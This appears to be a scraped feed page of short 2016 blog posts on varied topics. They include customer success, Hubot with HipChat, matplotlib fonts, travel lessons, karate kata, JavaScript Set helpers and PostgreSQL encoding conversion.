In the marketing funnel, your goal is to increase conversions through each stage of the funnel, ultimately boosting your numbers of new customers. A Customer Success team looks at a different kind of funnel.*

Difference between customer success and marketing

If you invert the marketing funnel, and start with your customers (and ignore everyone who is not yet a customer) you’ll have what you HOPE is a path of growth for your customers.

Here’s a quick example. I’ve inverted a traditional marketing funnel, and now the TOP of the funnel is when someone becomes a customer. (Ideally, funnel width is proportional to growing revenue from your customers)

What some Customer Success teams think about. (Thanks to Moz for the original graphic.)

To a SaaS company, marketing is only half the battle. Once you get customers in, you need to keep them.

With low costs to start using a tool, there are low costs to leaving it. There are no multi-year contracts you need to sign, no six-figure hardware installs and ongoing maintenance agreements. You just click the “cancel” button in your account, and you’re done.

So, a customer success team deals with the time in a customer’s life between when they become a customer, and when they stop being a customer.*

From the customer’s perspective, this is the most important time. Indeed, this is the only time that matters. This is certainly the only time the customer is thinking about you. Many companies, however, they’re not quite sure how to focus on their existing customers.

If you want a hint - go talk to your customer support team. They’ll have more than enough feedback to get you moving in the right direction.

I’ll dig more into this soon.

* “Customer Success” can be defined in many ways. Some companies label their outbound sales team “customer success”. Sometimes a strict support team goes by that title. Rather than calling out these companies for appropriating the wrong title - I’d say it’s aspirational and encouraging. If a company is reorienting itself around MY success, as a customer, I’m quite pleased.

Furthermore, there are many different angles by which you could get at “customer success”. If you’re a software company, everyone who works on the core product is technically serving the customer. If you’re in the X team, you’re serving the customer, so aren’t we all in the “customer success” business?

Yes, but for the sake of roles, lets keep it simple and assume divisions. Phew.

Additional Reading:

Sixteen Ventures - Lincoln Murphy is THE go-to expert on this.
Customer Success: How Innovative Companies Are Reducing Churn and Growing Recurring Revenue (By Lincoln and others)
More that I’ve written on Customer Success

Links - May 31st, 2016

Avy Faingezicht — Tue, 31 May 2016 03:00:00 GMT

Hubot and HipChat

Craig Pardey — Tue, 31 May 2016 03:00:00 GMT

Configuring Hubot to work with a self-hosted HipChat server took a bit of tweaking, so here’s a quickstart guide based on what I discovered along the way.

First of all, follow Atlassian’s guide to create a copy of Hubot. This will download the source code including the HipChat adapter.

$ npm install -g yo generator-hubot
$ mkdir myhubot
$ cd myhubot
$ yo hubot --adapter hipchat

Answer the questions, and you’ve got a basic bot config

Morning meditation

D13V — Tue, 31 May 2016 03:00:00 GMT

I am beginner. I am grateful to have good beginnning so far. Just be glad to be here.

I am beginner. I am grateful to have bad beginnings so far. Don’t take myself too seriously.

I am human and make errors. Be systematic and rigorous to protect myself from making errors, but be honest about them. Have Japanese attention to detail.

Focus on correctness and throughput. Don’t give in to the rush.

Enhance positive expectations and bound negative consequences. Be antifragile.

Allways strive to do the best. No right for excuses.

I used to repeat this in my mind every day during my morning meditation. I’m not sure why I stopped. Those were great days.

Even this morning, remembering it and repeating it has made me calmer, happier and more focused.

Updating the Matplotlib Font Cache

bastibe.de — Mon, 30 May 2016 19:30:00 GMT

When publishing papers or articles, I want my plots to integrate with the text surrounding them. I want them to use the correct font size, and the correct font.

This is easy to do with Matplotlib:

import matplotlib
matplotlib.rcParams['font.size'] = 12
matplotlib.rcParams['font.family'] = 'Calibri'

However, sometimes, Matplotlib won't find the correct, even though it is clearly installed. This happens when Matplotlib's internal font cache is out of date.

To refresh the font cache, use

matplotlib.font_manager._rebuild()

Happy Plotting!

62 lessons learned after one year of full-time travel

Josh Thompson — Mon, 30 May 2016 03:00:00 GMT

Kristi and I put together a non-comprehensive list of things we’ve learned while traveling full-time last year.

Samples:

Kristi

1. Josh and I are such a good team, and we balance each other. We’ve figured out our strengths and how to contribute to our successes together. It’s very difficult to imagine doing the work and planning this lifestyle requires alone.

2. Basic tasks are so hard in a new place. Finding a grocery store? Checking out at the grocery store? Buying a bus ticket? Filling up the gas tank? (Okay, that’s hard for this Jersey girl just about everywhere.) All such little, simple tasks at home. All can be completely overwhelming in a foreign country.

3. It is important and polite to speak enough of a language to be able to ask a local if they speak English in their native language.

4. Traveling light makes everything so much simpler.

Josh

41. Try to write down one nice thing per day on your travels. Easy to forget the minutia otherwise. For example, in Austria I didn’t write anything down for a whole month. But in Costa Rica, I wrote something down every day. I can remember so much more from Costa Rica than from Austria.

42. If you want to learn a language, it’s best to get the basics down BEFORE you arrive in-country

43. Learn to cook a basic, simple meal with ingredients you can get anywhere. That way, you can always have something that is familiar, and you don’t have to eat out as much as you might otherwise. We make tacos, spaghetti, chili, and chicken or pork chops with rice everywhere we go.

The org. chart of a dying organisation

Yasha Solutions — Mon, 30 May 2016 03:00:00 GMT

If this look like the org. chart of the place you work at, you might want to consider thinking to go somewhere else. No organisation ever started to end up like this, but it usually happen when you do not ingrain a culture of learning into your people and your organisation. This happen when you put people who are just about the how, without understanding the why. The moment people stop caring where the company is going, and just care about their “job” you know things will turn bad.

The Time Machine

Apurva Shukla's RSS Feed — Mon, 30 May 2016 00:09:17 GMT

⭐ ⭐ ⭐ ⭐ ⭐ Excellently crafted and although it stars Wells’s primordial writing ability: it thoroughly delivers the overall message. A very…

On Boldness In Climbing

Josh Thompson — Sun, 29 May 2016 03:00:00 GMT

Climb boldly. I’ve tried to write about this many times, and have thousands of words scattered across my computer about this topic. I always felt like I wasn’t communicating it quite right. I wasn’t happy with it.

So I said “screw it, I’ll explain it like I would if I were teaching it in a class.”

That’s the video below. Well, part of it.

If you’re a rock climber, and fear is on your mind, this is for you:

Get more info and sign up to get updates on this ongoing project over at The Climber’s Guide.

Chromium OS on a 2007 MacBook

Mike Kasberg's Blog — Sat, 28 May 2016 23:00:00 GMT

Chromebooks are becoming more popular these days, and their simplicity is something that really appeals to me. I wanted a Chromebook, but not so much that I wanted to spend a lot of money to buy one. At the same time, I had an old 2007 MacBook lying around that was becoming nearly unusable because it was so slow. The version of macOS it was running was outdated, and I didn’t want to spend money on an upgrade for such a slow computer. So… I turned it into a Chromebook!

I used the CloudReady Chromium OS distribution provided by Neverware, and the installation process was really easy! The hardest part was getting the MacBook to boot from a big enough USB stick. For some reason, my MacBook wouldn’t boot from my Toshiba 16GB flash drive. Using a Kingston DataTraveler drive (recommended on the CloudReady forums) fixed the problem - something about the way this drive is recognized by the MacBook made it work. After booting from the USB stick, just a few quick installation steps and you’re done!

CloudReady (and other Chromium OS distributions) are a great way to repurpose old hardware. A lot of the time, you just want a device that boots up quickly and lets you browse the web or send some email, and Chromium OS/CloudReady is perfect for that.

Want to give this a try with your own old computer?

There are a few different variants of Chromium OS you could use, but CloudReady is probably the easiest to install.

Download CloudReady from here.
Follow the instructions to create a bootable USB stick with CloudReady on it.
Insert the USB stick into your old computer, boot from the USB stick, and follow the instructions to complete the installation.

An announcement, and a teaser (for you rock climbers)

Josh Thompson — Sat, 28 May 2016 03:00:00 GMT

Here’s a clip from a video I shot today.

Can you guess what’s coming?

(This is all going to happen on The Climber’s Guide)

(Warning to mobile users: big gif)

In case you didn’t guess, or you guessed wrong…

I’m shooting tons of video for a course. It’s going to be awesome. It’s a work-in-progress, so read along HERE to follow along.

If you rock climb, and you ever feel anxious while leading, you can resolve this anxiety completely, and unleash your inner crusher. This will make both of us really happy.

Doing kata

D13V — Sat, 28 May 2016 03:00:00 GMT

In karate practice we train by performing a predefined sequences of actions, called “kata”. These include blocks, strikes, stances and jumps in a strictly defined sequence.

Throughout the kata, every body part has an exact purpose. The legs do stances and kicks. The arms and forearms - blocks an punches. Even the smallest parts of the body have a part. The eyes need to look in the direction of the technique, the feet need to “grab” the floor, the fingers need to be tight in a fist, or in a specific open position.

Katas are tiring, because they require intensity, and perfection. And perfection is impossible. No matter how well you’re doing it, unless you are the world champion, there is someone whose kata is closer to perfection. And if you are the world champion, you’re aware of all the little imperfections.

Kata are fun for two reasons.

The first is purely physical. Kata stimulates every muscle and joint in the body, and develops strength, flexibility, speed and energy. And as you do it better, it feels better, less tiring and more enjoyable. Kata makes every muscle and joint in the body feel better.

The second reason is mental. It is impossible to think about anything else during kata. Perfection requires it. If your mind is not focused, you’re not getting close to perfection. Furthermore, eventually it becomes impossible to even think. At least not with words. The mind is still focused on the execution, but since it requires perfect timing, any conscious though is an impediment.

The thoughts during kata have no words. They are just an invocation of our internal image of the kata. Executing the kata is a replay of the movements, the breathing, and the timing of the kata as we imagine it.

Like a movie. When a beginner does kata, the movie is low resolution, it has time lag, missing scenes, wrong scenes. As the person improves, the movie timing becomes more accurate, the scenes become more complete, and resolution improves. Yet, there is always room for improvement. The resolution can improve, the details in each scene can improve, the soundtrack can improve, you can add 3D, you can add virtual reality.

Kata done well never disappoints. Because it is new and better every time.

Deadpool

🦉 olshansky 🦁 — Fri, 27 May 2016 20:52:52 GMT

Olshansky's review of Deadpool

Social skills are like any other skills

Josh Thompson — Fri, 27 May 2016 03:00:00 GMT

Learning social skills are no different from learning cooking skills, or handstand skills. It helps to have exposure at a young age, but with time and effort, you can learn, and even master, cooking, handstands, and social skills.

Most people get along fine with their friends, and don’t particularly enjoy the “go out and meet new people and make small talk until you each promise to stay in touch and never actually talk again” game.

That game is dumb. Social skills are important.

Here’s the reconciliation:

Social skills can be defined in many different ways, from pick-up artists (ugh) to boiler-room sales guys.

No one wants to be either of those two types, and no one is telling you to do that. Here’s my take on social skills:

They can help you increase your impact on the world around you by meeting new people (and building stronger relationships with existing acquintances) and giving them something nice.

That’s right. You can serve others with social skills. If you’re trying to have a positive impact on the world around you, a great start is by:

Putting others at ease
Finding out meaningful things about people
Being able to help them

Usually, the “help” you can offer is just information. Sort of like I’m doing right now.

“Oh, you have a problem with X? I read a thing about that who had some good advice. I’ll email you a link to the article.”

Boom. You’ve helped that person. Easy as that.

I’m shy, and don’t like stupid small talk

A harsh read of shyness is “shy people are selfish”. Here’s why:

If talking to someone, you force the other person to carry the conversation. (This is draining and not much fun)
If not talking to someone, you’ll never start, so you miss an opportunity to care for them, encourage them, or make them laugh, feel joy, etc.
If in the same area as another shy person, you’ll both be miserable because neither will break the ice.

Like I said - that’s a “harsh” read of being shy.

As far as small talk - if you don’t like small talk, don’t participate in small talk. Guide the conversation elsewhere. You and whoever you are talking to will appreciate it. Once you own the relationship trajectory, you can’t complain about small talk, because you’re facilitating it.

We learn from people, either by observation or interaction. You’ll get more from both if you are comfortable talking with others in a range of situations and about a range of topics.

If you want to grow as a person, start with how you interact with others. It’s a gift that keeps on giving.

If you’re still with me, read these:

Never Eat Alone (book)
How To Be More Social (article by Scott Young)
Social Skills and Dancing for Dummies (article by Scott Young)

Links - May 27th, 2016

Avy Faingezicht — Fri, 27 May 2016 03:00:00 GMT

Hi there. It had been a while! I have read a lot less than usual lately, but here are a few things I've recently enjoyed.

Back to Chicago

Avy Faingezicht — Fri, 27 May 2016 03:00:00 GMT

After four years living in Evanston, and a year away, returning to Chicago was strange. Very strange. I am sad that I didn't take more photos of the city, with its architecture and its urban landscapes, but I am glad that the reason why I did not do it was that I had too many people to see.

Dark Places

Apurva Shukla's RSS Feed — Thu, 26 May 2016 08:53:09 GMT

⭐ ⭐ ⭐ ⭐ Dark, so very dark. This novel captivates you from the first instance, compelling you into the world of ‘annihilation’ and utter…

Our identity defines the choices we make. Our actions become our identity.

D13V — Thu, 26 May 2016 03:00:00 GMT

When we face choice and say “Yes, I will do that. I am that kind of person,” we use our identity to justify our choice of action. The choice might not be the most convenient, but it matches our preconception of who we are.

When we decide whether to make our bed in the morning, whether to drive above the speed limit, whether to drink coffee or take a nap when tired, our identity has a say in the decision. If we consider ourselves tidy, we’d make our bed. If we value getting to our destination ten minutes earlier, more than we worry about the increased risk of a speeding ticket or an accident, then we’d speed up. If we value performance right now, vs performance over longer period of time, we’d drink the coffee.

We are free to decide which side we value more. This is how we define our identity. By making the decision, or abstaining from one, we pick one side over the others.

Whether we pick our own identity by free will, or whether others give it to us is another topic. It is a discussion worthy of its own essay.

Defying our own identity is the least convenient thing for us in the whole world. Some people prefer to die that to betray their cause. They’ve got their identity so attached to their cause, that they are ready to lose their lives, but not their identity. The perception of identity influences the choices. This is not restricted to life-and-death situations. The individual perception of identity affects all choices, regardless of scale.

Identity influences actions, but it works the other way around too. We know that when we are happy and entertained this causes laughter. But it is also true that if we smile and laugh we feel happier and more entertained. It’s the same with actions and identity. When we take certain actions, even at random, they influence our identity.

Whenever we are facing a choice, and we don’t have a confident opinion on which side to take, we don’t have identity at stake. It doesn’t exist in the context of this decision.

The decision that we make is random. We make that decision based on random factors at the time, not based on our perceived identity. We decide based on temporary convenience.

Subjectively, though, we try to justify. And that’s a fallacy. The random environment factors had put us in a position where option X was better that option Y. We ended up action X, but then we thought of ourselves as X-type of person. Not Y-type.

But then, when we execute the action, we bind our identity to that decision. We seek to justify the action, and random is not good enough justification for a rational human being. It is a lame reason. But it is the true, objective reason.

We mutated our identity. We were not an X-type person at the time of making the decision. But after we did X, we became more of an X person. When the time comes again, we’d be much more likely to chose X.

But there is no good reason to prefer X or Y. They are both valid options. I’m not talking about what’s “rational” here. The definition of being rational is to take the action which maximizes value. But in the absence of a value system, rationality is nonsense. Choosing X vs choosing Y would lead to a different parallel universe.

But can we know which parallel universe is better? We can’t, unless we have a value system.

But how do we know which is the best universe to be in? We don’t, unless we have value system.

A value system only makes sense in the context of making actual decision. So “value system” is not the important concept. Identity is.

Coming back to the moment of choosing X vs. Y, we couple the outcome, the decision, with the inputs, the situation and our identity. We choose based on the situation, but then we change our identity towards what we chose.

As a result, we end up identifying ourselves by the situation’s convenience. The next time, we will make decision based on the new situation and our identity, which got influenced by the previous situation. Thus, the old situation ends up having a disproportionately larger effect on our lives. Therein lies the fallacy.

This is a powerful way to manipulate people.

Others, or “the system” can exploit this by putting us in situations in which we repeatedly chose X. Over time, we’ll end up doing X out habit even when we could do Y. When that is the case, it is certain to say that whoever defined the environment, manipulated our identity.

To reduce the fallacy’s effect, we need to explore doing both X and Y, and admit to ourselves that those were fully random actions.

If we want to discover our true identity we need to let go of our past actions. To forgive ourselves for our mistakes and not take ourselves seriously for successes. To be good and bad. To be lazy and hard-working. To be respectful and to be rude. To see how it feels.

Then, we’ll see which one we prefer.

Career advice for Millenials. (ugh. I hate this title)

Josh Thompson — Wed, 25 May 2016 03:00:00 GMT

Hah! You thought I had career advice?

Not quite.

Christian Bonilla writes one of the best blogs I’ve ever read at Smart Like How. Please click over there, and read a few of his posts.

He talks about being data savy even if you’re not a data scientist. He covers how to suceed in a new job, and many other things.

I finished his book Smart Like How: The Hidden Side of Career Success today, and highlighted many portions of it, because they contained specific and actionable suggestions.

I’ll expand on these in a later post.

In some ways, I’m not at the very beginning of my career. I’m 27, and there are plenty of people way farther along than I. But I didn’t get into my current line of work until two years ago, and have only recently been feeling like I’ve got my head wrapped around the work that I do.

No matter what kind of job you have, his book is desperately useful. If you don’t like your job, you should read it. If you’re ambivilant about your job, you should read it. If you love your job, you should read it.

And as much as we all will agree that work isn’t everything, it sure is significant enough to devote a bit of time to reading it.

Yesterday, I mentioned Patrick McKenzie’s “ Daenerys Targaryen test”:

I propose the Daenerys Targaryen test.

If you know who Daenerys Targaryen is, you do not have “no time.” You have priorities which included “I wish to know who Daenerys Targaryen is.” No judgement! I do, too! But if you know who Daenerys Targaryen is and you’re dissatisfied with your career growth, you should attempt to consciously be aware of the fact that you can choose different things in the future.

So, if you watch GoT, or any other show, with any regularity, you have enough time and money to pick up this book

Go forth and prosper.

PS Do you know someone who might benefit from that book, or the Smart Like How blog? I bet you do. Why don’t you send them a link to his articles, or to this post, so they’ll be inspired to soak up his wisdom.

Sharing useful things with people is one of the best ways to add value to the world. Do it.

A couple of ambient tracks from the noise of a train ticket

infrequent oscillations — Tue, 24 May 2016 10:55:26 GMT

In which we make something from nothing.

Who inspires you, and is still alive?

Josh Thompson — Tue, 24 May 2016 03:00:00 GMT

There are lots of dead people that we look up to. But people that are alive, and not world-wide famous are a bit more knowable. Some of them will even reply to tweets you send them!

So, here are a few people that I follow and have received TONS of amazing wisdom from. (I recommend getting on all of their email lists.)

They deal with money, jobs, and doing good work:

Ramit Sethi, I Will Teach
Brennan Dunn, Double Your Freelancing, which applies not just to freelancers but anyone trying to do good work.
Amy Hoy, who’s “ year of hustle” calendar is a great place to start.
Patrick McKenzie, famous around the world for tons of Hacker News comments. A great recent starting point is the Daenerys Targaryen test. After that, read his blog.

These have been the people I share with anyone when job-related discussions pop up. Jobs technically don’t define us, but that’s sure hard to tell. If you don’t like your job, read the above resources. If you like your job, read the above resources.

The Nice Guys

🦉 olshansky 🦁 — Mon, 23 May 2016 18:13:08 GMT

Olshansky's review of The Nice Guys

I have no idea what to say

Junk Heap Homotopy — Mon, 23 May 2016 14:08:00 GMT

Everyone who writes for a living will eventually write about themselves. It's almost a natural law. Heck, someone else has probably thought of a name for it. (Hint: it starts with an 'N'.)So why this piece?

Last Week Tonight With John Oliver: Season 3

🦉 olshansky 🦁 — Mon, 23 May 2016 05:47:57 GMT

Olshansky's review of Last Week Tonight With John Oliver: Season 3

Last Week Tonight With John Oliver: Season 1

🦉 olshansky 🦁 — Mon, 23 May 2016 05:47:48 GMT

Olshansky's review of Last Week Tonight With John Oliver: Season 1

Last Week Tonight With John Oliver: Season 2

🦉 olshansky 🦁 — Mon, 23 May 2016 05:47:45 GMT

Olshansky's review of Last Week Tonight With John Oliver: Season 2

OK, some new books

Josh Thompson — Mon, 23 May 2016 03:00:00 GMT

Yesterday, I proclaimed “ No new books”. I spent a lot of time today thinking about that proclamation.

Do I really want to limit myself to just the books that I’ve already picked for myself?

Yes. Maybe.

There’s a kind of book I don’t want to read any more of. That’s the “get started with a project” kind of book, or the general productivity stuff that’s floating around.

Nate Eliason wrote Fighting Infomania: Why 80% of Your Reading is a Waste of Time, and I wholeheartedly agree.

So, I’m trying to reduce the consumption of tactical knowledge when it’s not helpful, or when I cannot act on it. I want to dwell on substantial, helpful literature, and maybe even find a few books I’d like to read twice.

I don’t read TONS of fiction, so I don’t see that as a habit I should try to give up.

So, in short, I’m trying to reduce books that are:

written recently
non-fiction
business related

Nate summarized better than I can:

[Don’t read it…] if it doesn’t answer a specific question you’re currently asking, cover philosophical knowledge, or entertain you, then don’t read it.

Words to live by.

PS This was prompted by my friend Alex making a sci-fi book recommendation. His recommendations are always excellent, so I felt like my priorities had to be wrong if I banned myself from following up on his suggestions.

Fattura Elettronica per la PA v0.2.1

Nicola Iarocci — Mon, 23 May 2016 03:00:00 GMT

Ho appena pubblicato su NuGet l’ultimo aggiornamento di FatturaElettronicaPA, il package .NET per la compilazione e convalida delle fatture elettroniche per la Pubblica Amministrazione. Si tratta della versione 0.2.1 che fa proprie le novità annunciate il 9 Maggio scorso:

A partire dal 9 maggio 2016 sono introdotti nuovi controlli sui file trasmessi al Sistema di Interscambio. Per consentire il necessario adeguamento al nuovo regime di verifiche, fino al 31 luglio 2016 il mancato superamento di uno o più di questi nuovi controlli non comporterà lo scarto del file ma solo una segnalazione che verrà riportata all’interno della Ricevuta di consegna o della Notifica di mancata consegna. Dal 1 agosto 2016 i file che non dovessero superare uno o più di questi controlli verranno scartati.

Monitoring SystemD Units With Nagios

smcleod.net — Mon, 23 May 2016 03:00:00 GMT

Ever forgotten to add a critical service to monitoring?

Want to know if a service or process fails without explicitly monitoring every service on a host?

…Then why not use SystemD’s existing knowledge of all the enabled services? Thanks to ‘Kbyte’ who made a simple Nagios plugin to do just this!

Requirements

Python3 (For RHEL/CentOS 7 yum install python34)
python-nagiosplugin My pre-built RPMs or pip3 install nagiosplugin
PyNagSystemD

Online Conversion from SQL_ASCII to UTF8 in PostgreSQL

smcleod.net — Mon, 23 May 2016 03:00:00 GMT

Scripts and source available here: sql_ascii_to_utf8

The Goal

To be able to take a Postgres Database which is in SQL_ASCII encoding, and import it into a UTF8 encoded database.

Requirements:

Python3 (For RHEL/CentOS 7 yum install python34)
python-nagiosplugin My pre-built RPMs or pip3 install nagiosplugin
PyNagSystemD

The Problem

PostreSQL will generate errors like this if it encounters any non-UTF8 byte-sequences during a database restore:

# pg_dump -Fc test_badchar | pg_restore -d test_badchar_utf8
pg_restore: [archiver (db)] Error while PROCESSING TOC:
pg_restore: [archiver (db)] Error from TOC entry 2839; 0 26852 TABLE DATA table101 postgres
pg_restore: [archiver (db)] COPY failed for table "table101": ERROR:  invalid byte sequence for encoding "UTF8": 0x91
CONTEXT:  COPY table101, line 1
WARNING: errors ignored on restore: 1

And the corresponding data will be omitted from the database (in this case, the whole table, even the rows which did not have a problem):

Adding missing features to Set

Qubyte Codes — Sun, 22 May 2016 19:30:00 GMT

ES2015 bought a Set constructor to JavaScript. It's pretty barebones, consisting of a constructor which creates objects with a few methods for adding, removing, checking if something is a member, and iterating over the set. Instances have the essential quality of a set; an item is a member of the set or not a member. Unlike an array, an item cannot be an element more than once. In other words you can avoid using arrays and doing a lot of indexOf checking.

For example, abusing an array to act like a set is very common:

var myCollection = [];

// Check if element is in the collection.
function has(collection, element) {
  return collection.indexOf(element) !== -1;
}

// Add an element to the collection.
function add(collection, element) {
  if (!has(collection, element)) {
    collection.push(element);
  }
}

add(myCollection, 123);
has(myCollection, 123); // returns true
has(myCollection, 456); // returns false

Using a set is more straight forward:

var myCollection = new Set();

myCollection.add(123); // add an element
myCollection.has(123); // returns true
myCollection.has(456); // returns false

That's all grand, but a colleague of mine, a programmer dipping a toe into modern JS, noted that Set lacks some functions that you might expect it to have out of the box, such as union, intersection and (relative) complement.

I'd implement these as static methods of Set, and shim them in. Hopefully these methods will be added to the standard in the future. Until then, here are some possible implementations.

Union

The union of two sets is defined as the set of elements found in either or both sets.

Set.union = function (a, b) {
  const unionSet = new Set();

  for (const element of a) {
    unionSet.add(element);
  }

  for (const element of b) {
    unionSet.add(element)
  }

  return union;
};

This function iterates over both sets, adding their elements to a new set, which is then returned.

As a one liner:

Set.union = (a, b) => new Set([...a, ...b]);

Sets are iterable, so the spread operator can be used to expand them as arrays. Set can also take an array as an argument, filling the constructed set object with elements from the array. This means that both sets can be spread into an array literal and fed back into the set constructor. Since repeated elements are ignored, the resultant set is the union of the two input sets.

Intersection

The intersection of two sets is defined as the set of elements they have in common.

Set.intersection = function (a, b) {
  const [small, big] = a.size < b.size ? [a, b] : [b, a];
  const intersectionSet = new Set();

  for (const element of small) {
    if (big.has(element)) {
      intersectionSet.add(element);
    }
  }

  return intersectionSet;
};

The first line of this one is an optimisation. The largest an intersection can be is the size of the smaller set. The first line uses destructuring assignment and a ternary to assign the smaller set to small and the larger set to big. The intersectionSet is then constructed, and small looped over to fill it with elements which are also in the big.

If you want a one liner for this (and don't care about the size optimisation):

Set.intersection = (a, b) => new Set([...a].filter(element => b.has(element)));

This uses similar tricks to Set.union. One set is expanded as an array, and then filtered to an array of elements which are in the other. The filtered array is then fed to Set to get the intersection set.

Relative complement

The relative complement of A in B is the set of those elements in B which are not in A.

Set.complement = function (a, b) {
  const complementSet = new Set();

  for (const element of b) {
    if (!a.has(element)) {
      complementSet.add(element);
    }
  }

  return complementSet;
};

This function makes a new set and iterates over the second set, filling the new set with elements of the second set which are not in the first.

As a one liner:

Set.complement = (a, b) => new Set([...b].filter(element => !a.has(element)));

This uses similar tricks to the Set.intersection one liner. It expands the second set as an array, filters it down to elements not in the first, and then instantiates a new Set with the filtered array.

There is always time to write clean code

Daniel Little Dev — Sun, 22 May 2016 03:40:02 GMT

The number one most important thing you can do in software development. Always leave the code base cleaner than when you found it. Always…

No New Books

Josh Thompson — Sun, 22 May 2016 03:00:00 GMT

I’ve promised myself that I won’t add any more books to my Kindle, either by purchasing them from Amazon, or downloading them online, or renting them from a Library.

Why?

I’ve let reading about doing things stand in the way of doing the things. No amount of educational literature is as good as a few days or weeks struggling with a task.

I’m letting myself finish what I’ve already got on my Kindle, though. I’ve got 46 unread books, so this should last me through the end of 2016.

Some of them are quite short (anything by Seth Godin) and others are quite long (John Keegan, First World War, Second World War).

For right now, no more book purchases or downloads. That’s my rule.

Want to read along, or at least know what I’ve finished reading most recently?

I keep my Goodreads profile current-ish with what I’ve finished reading, and at least right now, what I’m currently reading.

Constraints

Josh Thompson — Sat, 21 May 2016 03:00:00 GMT

Constraints are USUALLY seen in a negative light.

Google defines it as:

a limitation or restriction

Here’s some example constraints that we find in the world around us, which we often view as an annoyance or frustration:

I have to be to work by 9a
I have to get up at 7a
I have $50 to spend on entertainment this month
This paper must be at least 8 pages long
I have only 30 minutes of time to myself every day between work and family and sleep
And many, many more. Some trivial, some not.

Obviously, no one pops out of bed in the morning thrilled that they have a limited amount of money to spend on something.

Constraints relate to prioritization, which means you don’t actually have to follow them, you just have to care if the item producing the constraint matters to you.

Easy example: I don’t follow many rules of writing, or anything really, when writing on my own website, because… I can do whatever I want. I have goals and ideals with my writing, but they’re more like aspirations than constraints.

I can stick in unrelated images and comics wherever I want, if I so choose.

XKCD Alt text: The worst part is when the sidewalk cracks are out of sync with your natural stride

Embrace as many constraints as you can

So what about embracing constraints?

I decided to pick the first two words that popped out of a random word generator, and see if I could make something useful from it.

I think I’m off to a strong start:

On to Wikipedia, to find something useful.

Searching “rodent actor” didn’t turn up anything good.

The “Rodent” wikipedia page came up blank when I ctrl+F’d for “movie”.

So, I turned back to Google, and found this gem: Top 10 films featuring rats

Interestingly, the #2 listing is Ratatouille, which I both watched and ate in the last few weeks. It’s delicious, and an enjoyable movie. Turns out Patton Oswalt is the voice behind Remy, the movie’s protagonist rat.

Pixar.wikia.com

He was also in Blade:Trinity and The Secret Life of Walter Mitty.

And boom. There’s something to write about off of two random words.

PS Why is embracing constraints on my mind? I’m trying to get better at doing just a few things, not all the things.

Keep Everything in Source Control

Craig Pardey — Sat, 21 May 2016 03:00:00 GMT

Me: Why is this report different to the one in production? SysAdmin: Dunno. I guess they must have fixed it production and forgot to check it back into source control.

If I had a dollar for every time I’ve had that conversation I’d be a rich man. It is usually the result of some late-night troubleshooting and finally the system is working as expected and everyone goes to bed. But the next day, nobody remembers what exactly they changed that fixed the problem, nor do they spend the time to figure it out and get it back into source control. Worse yet, they were making untested changes in a live environment - that shouldn’t be possible!.

More Victoria Line output

infrequent oscillations — Fri, 20 May 2016 12:16:52 GMT

More ambient drones from the Victoria Line samples provided by TFL/Matt Rogers.

Lay a foundation

Josh Thompson — Fri, 20 May 2016 03:00:00 GMT

Yesterday I mentioned that low friction goals are an advantage over “high friction” goals.

This is just another way of saying “easy things are easier to do than harder things”. Revelatory, I know.

We tell ourselves we can’t accomplish goals because we don’t have enough motivation, but this is far too simple of an explanation… it must be useful to fail during your attempt, and you must not try very hard.

In other words, big grand goals are great, but expect that you will not successfully execute on them all. Plan to fail the primary task, and in doing so, you’ll gain information that will make your second attempt that much better.

I don’t know that I’ve learned a lot from the things I’ve failed to execute on. I certainly have not reduced the size and scope of my projects, but I’m getting a bit more thoughtful about them. For example, I’m working now in 30 day chunks. A project (like budgeting) is much more approachable when you’re doing it for just 29 or 30 days.

Anyway, that’s part of what this writing has been about. I had a lot in my head I wanted to get out, so I said “I’ll publish something every day, and I won’t queue anything in advance.”

I’m writing, my idea-muscles are getting some exercise, and I’m laying a foundation for my next projects. Hopefully, throughout it all, I’ll be able to share useful things.

All in all, a good use of a few minutes every day.

Further Reading:

Seth Godin on writing every day
James Altucher, How to become an idea machine (Very long post)
James Altucher, 10 rules

9 to 5

Venam's Blog — Patrick Louis (Lebanon) — Thu, 19 May 2016 20:00:00 GMT

I find it fervently infuriating when someone uses the word passion and degrades it. They degrade the meaning of the word. Passion is the ultimate upgrade of the hobby, a cultivated curiosity. Something you're currently dedicating your life to. You diminish it when blurting that a person that doesn't spend any time outside the "obligatory work hours" on his passion, not even a thought, to be passionate. What is passion if it's not thinking and living what you love.

Disrupting Open Source - The Story of Fine Uploader

Train of Thought — Thu, 19 May 2016 03:00:00 GMT

This is the story of my involvement with Fine Uploader, how it changed my life, how it affected those around me and my peers at Widen, and how I hope it can continue to have a positive net effect on the open source community and individual developers.

The advantage of low friction goals

Josh Thompson — Thu, 19 May 2016 03:00:00 GMT

If you have a project, make it easy to take small steps.

I’m trying to publish something every day for a month.

Normally, I would sit down at my computer, open a text editor, write something, the copy it into Squarespace, and customize the post from there.

“Customization” means:

create a reasonable URL
create a post excerpt
instruct squarespace to post a link to Twitter and Facebook
hit publish

Instead, today, I wrote this on my phone, in an email to a “email to post” email address.

It’s low friction, and I’ll fix the url later.

Easy things are more likely to get done than hard things.

Birthday Bash: Providing Bash with a bit more pizazz

Joshua Rogers — Wed, 18 May 2016 15:00:00 GMT

Today I turn 31. Before the day is through, I'll have ended up celebrating with family and coworkers. And Bash, because as it turns out, Bash can be a bit festive. I find most default Bash prompts to be rather boring. Sure, they vary from platform to platform, but they all seem a little too lite on info that I care about. A few years ago I decided to liven it up a bit.

Travel somewhere fun. But first get on Scott's email list

Josh Thompson — Wed, 18 May 2016 03:00:00 GMT

Most of us have a bucket list item of “travel abroad”, right?

It gets harder to realize once you start looking through flight prices, though. If you and your significant other want to head to Europe or Asia, you might be dropping $2500, minimum, for the both of you.

That’s expensive, especially because you will need to spend more money once you arrive.

So, lets get your flights way cheaper, OK?

Scotts Cheap Flights List

This guy Scott sends out emails when he finds “mistake fares” from the USA to other parts of the world. There’s lots of these, but when one pops up, the offer is usually gone in a few hours or a few days.

For example, here’s round-trip to Asia, from all over the USA, for $400-600 USD. That’s a great price.

Scotts Cheap Flights, a deal from USA>Asia>USA

Here’s the full email: https://litmus.com/scope/knykygpttrg0

His “premium” list is $30/year, but he’s got a free list that you should sign up at. (When you first punch in your email, you get the free stuff. You can upgrade later if you want.)

A quick example of how popular this is: I shared this around Litmus, and in the last two weeks or so, a total of ten people have purchased a flight thanks to Scotts list.

If you want to travel, get on his list: https://scottscheapflights.com/

PS Flights and travel take money. You need to have money to travel. Here we touch on the delicate third rail of the world: finances. I strongly recommend browsing around YNAB and getting inspired to own your finances. (Otherwise, they might own you.)

PPS I don’t do affiliate links.

Resources:

Input metrics vs. Output metrics

